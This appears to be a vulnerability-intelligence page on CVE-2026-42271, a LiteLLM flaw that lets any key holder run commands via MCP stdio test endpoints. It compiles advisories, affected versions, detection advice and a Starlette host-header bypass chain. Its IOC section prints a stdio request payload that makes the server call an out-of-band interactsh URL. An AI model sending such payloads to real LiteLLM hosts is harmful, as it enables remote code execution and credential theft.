CVE-2026-42271
published 2026-05-08CVE-2026-42271: LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to…
PriorityP198high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2026-06-22
Exploited in the wild
EPSS
83.59%
99.7th percentile
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ansible-automation-platform-26 | lightspeed-chatbot-rhel9 | — | — |
| ansible-automation-platform-27 | lightspeed-chatbot-rhel9 | — | — |
| berriai | litellm | — | — |
| exploit-intelligence-tech-preview | vulnerability-analysis-rhel9 | — | — |
| litellm | litellm | >= 1.74.2 < 1.83.7 | 1.83.7 |
| litellm | litellm | >= 1.74.2 < 1.83.7 | 1.83.7 |
| redhat | openshift_ai | — | — |
| redhat | openshift_ai | >= 2.25 < 2.25.8 | 2.25.8 |
| redhat | openshift_ai | >= 3.3 < 3.3.4 | 3.3.4 |
| rhoai | odh-llama-stack-core-rhel9 | — | — |
| rhoai | odh-mlflow-rhel9 | — | — |
| rhoai | odh-trustyai-garak-lls-provider-dsp-rhel9 | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen('https://{{interactsh-url}}')"]}
- →Detect exploitation attempts by monitoring for POST requests to /mcp-rest/test/connection or /mcp-rest/test/tools/list, especially those containing 'transport':'stdio' with 'command', 'args', or 'env' fields in the request body. ↗
- →Monitor for anomalous Host header values (e.g., 'a/?x=') in HTTP requests to LiteLLM endpoints, indicative of the Starlette BadHost (CVE-2026-48710) authentication bypass being chained with this vulnerability. ↗
- →Alert on unexpected subprocess execution events originating from the LiteLLM proxy process, as successful exploitation spawns attacker-controlled commands as subprocesses with proxy process privileges. ↗
- →Review logs for unusual Host header activity and subprocess execution events as recommended mitigations for detecting active exploitation. ↗
- →A response body containing 'Failed to connect to MCP server' with HTTP 200 status from /mcp-rest/test/connection may indicate a probe or exploitation attempt (as used in the Nuclei detection template).
- →Block POST requests to /mcp-rest/test/connection and /mcp-rest/test/tools/list at the reverse proxy or API gateway layer as an immediate mitigation. ↗
- ·The vulnerability affects LiteLLM versions >= 1.74.2 and < 1.83.7. The fix in 1.83.7 restricts both test endpoints to require the PROXY_ADMIN role, consistent with the save endpoint. ↗
- ·The endpoints were gated only by a valid proxy API key with no role check, meaning any low-privilege internal-user key holder could exploit this prior to patching. ↗
- ·CVE-2026-42271 has been added to CISA's KEV catalog with a remediation due date of 2026-06-22, confirming active exploitation in the wild. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv4.08.7HIGHCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vulncheck8.8HIGH
cisa8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Kludex Starlette HTTP Request/Response Smuggling Vulnerability
cisa·2026-09-02·CVSS 8.8
CVE-2026-48710 [HIGH] CWE-444 Kludex Starlette HTTP Request/Response Smuggling Vulnerability
Vulnerability: Kludex Starlette HTTP Request/Response Smuggling Vulnerability
Affected: Kludex Starlette
Kludex Starlette contains a HTTP request/response smuggling vulnerability that could allow attackers to inject paths into the host part, prepending the actual path leading to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. This vulnerability could be chaned with CVE-2026-42271.
Required Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are
CISA
BerriAI LiteLLM Command Injection Vulnerability
cisa·2026-06-08·CVSS 8.8
CVE-2026-42271 [HIGH] CWE-78 BerriAI LiteLLM Command Injection Vulnerability
Vulnerability: BerriAI LiteLLM Command Injection Vulnerability
Affected: BerriAI LiteLLM
BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g ; https://github.com/B
Red Hat
litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
vendor_redhat·2026-05-08·CVSS 8.8
CVE-2026-42271 [HIGH] CWE-78 litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege int
GHSA
LiteLLM: Authenticated command execution via MCP stdio test endpoints
ghsa·2026-04-25
CVE-2026-42271 [HIGH] CWE-78 LiteLLM: Authenticated command execution via MCP stdio test endpoints
LiteLLM: Authenticated command execution via MCP stdio test endpoints
### Impact
Two endpoints used to preview an MCP server before saving it — `POST /mcp-rest/test/connection` and `POST /mcp-rest/test/tools/list` — accepted a full server configuration in the request body, including the `command`, `args`, and `env` fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process.
The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host.
### Patches
Fixed in **`1.83.7`**. Both test e
VulnCheck
BerriAI LiteLLM Command Injection Vulnerability
vulncheck·2026·CVSS 8.8
CVE-2026-42271 [HIGH] CWE-78 BerriAI LiteLLM Command Injection Vulnerability
BerriAI LiteLLM Command Injection Vulnerability
BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host.
Affected: BerriAI LiteLLM
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
Exploit PoC: https://vulncheck.com/xdb/9d2bfb7ce628
Remediation Due: 2026-06-22
No detection rules found.
Nuclei
LiteLLM - Command Injection
nuclei·CVSS 8.7
CVE-2026-42271 [HIGH] LiteLLM - Command Injection
LiteLLM - Command Injection
A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.
Template:
id: CVE-2026-42271
info:
name: LiteLLM - Command Injection
author: ritikchaddha
severity
Hackernews
CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners
blogs_hackernews·2026-09-03·CVSS 6.5
CVE-2026-83548 [MEDIUM] CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added seven security flaws to its Known Exploited Vulnerabilities ( KEV ) catalog after they landed in attackers' crosshairs.
The vulnerabilities are as follows -
CVE-2026-83548 (CVSS score: 10.0) - A server-side request forgery vulnerability in SonicWall SMA 1000 Appliances that could allow a remote unauthenticated attacker to gain unauthorized access to sensitive functionality and perform unauthorized operations.
CVE-2026-83549 (CVSS score: 7.8) - A post-authen
Wiz
Inside 90 days of attacks on AI infrastructure
blogs_wiz·2026-08-27
CVE-2026-59822 Inside 90 days of attacks on AI infrastructure
Wiz Threat Research operates honeypots across AI and ML services including LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, and others. Over 90 days of telemetry, we observed sustained attack activity against AI infrastructure, with tooling adapted to the specific internals of each service. We’re sharing our findings with the community so that organizations can defend themselves against the techniques we’ve observed so far.
The findings below are organized around three attack patterns:
Exploiting Internet-facing MCP servers for remote code execution
Blind prompt injection against AI agent frameworks
AI-native post-exploitation, with tooling adapted specifically to AI infrastructure internals
## Why AI infrastructure matters as a cloud attack surface
Wiz’s State of AI in the C
Microsoft
When AI infrastructure becomes the target: Securing gateways and control points
blogs_microsoft·2026-08-26
CVE-2026-42271 When AI infrastructure becomes the target: Securing gateways and control points
## Combined high-signal secret-discovery triage
This combined query is useful for triage dashboards or incident review because it labels each result with a detection reason. Analysts can use the DetectionReason field to quickly separate direct environment access, LiteLLM-specific secret discovery, Python database credential access, and shell-based searching.
// Combined triage query using only high-confidence secret-discovery signals.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| extend DetectionReason = case(
Cmd contains "/proc/1/environ", "Direct access to PID 1 environment variables",
Cmd has_any ("litellm", "litellm_proxymodeltable", "litellm_verificationtoken", "proxymodeltable", "verificationtoken") and Cmd has_any ("datab
Hackernews
LiteLLM Vulnerability Chain Lets Low-Privilege Users Take Over AI Gateway Servers
blogs_hackernews·2026-06-15·CVSS 8.8
CVE-2026-47101 [HIGH] LiteLLM Vulnerability Chain Lets Low-Privilege Users Take Over AI Gateway Servers
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## LiteLLM Vulnerability Chain Lets Low-Privilege Users Take Over AI Gateway Servers
A default low-privilege account on a LiteLLM proxy can climb to full admin and run code on the server by chaining three vulnerabilities, researchers at Obsidian Security disclosed
LiteLLM is a widely deployed open-source AI gateway that brokers calls to more than 100 model providers behind one OpenAI-compatible interface.
A server takeover exposes every provider key it holds, the secrets that decrypt its stored credentials, and every prompt and response passing through it.
Obsidian rates the full chain CVSS 9.9, in the Critical range. BerriAI
Hackernews
LiteLLM Flaw CVE-2026-42271 Exploited in the Wild, Chains to Unauthenticated RCE
blogs_hackernews·2026-06-09·CVSS 8.8
CVE-2026-42271 [HIGH] LiteLLM Flaw CVE-2026-42271 Exploited in the Wild, Chains to Unauthenticated RCE
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## LiteLLM Flaw CVE-2026-42271 Exploited in the Wild, Chains to Unauthenticated RCE
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a high-severity flaw impacting BerriAI LiteLLM to its Known Exploited Vulnerabilities ( KEV ) catalog, citing evidence of active exploitation.
The vulnerability, tracked as CVE-2026-42271 (CVSS score: 8.7), is a command injection vulnerability that could allow any authenticated user to run arbitrary commands on the host.
It affects the following version of the LiteLLM Python package -
>= 1.74.2
< 1.83.7
"Two endpoints used to preview an MCP server before saving
Bugzilla
CVE-2026-42271 litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
bugzilla·2026-05-08·CVSS 8.8
CVE-2026-42271 [HIGH] CVE-2026-42271 litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
CVE-2026-42271 litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of lo
https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stablehttps://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94ghttps://access.redhat.com/errata/RHSA-2026:27784https://access.redhat.com/errata/RHSA-2026:28960https://access.redhat.com/errata/RHSA-2026:30056https://access.redhat.com/security/cve/CVE-2026-42271https://bugzilla.redhat.com/show_bug.cgi?id=2467924https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.jsonhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271
2026-05-08
Published
2026-06-08
Added to CISA KEV
Exploited in the wild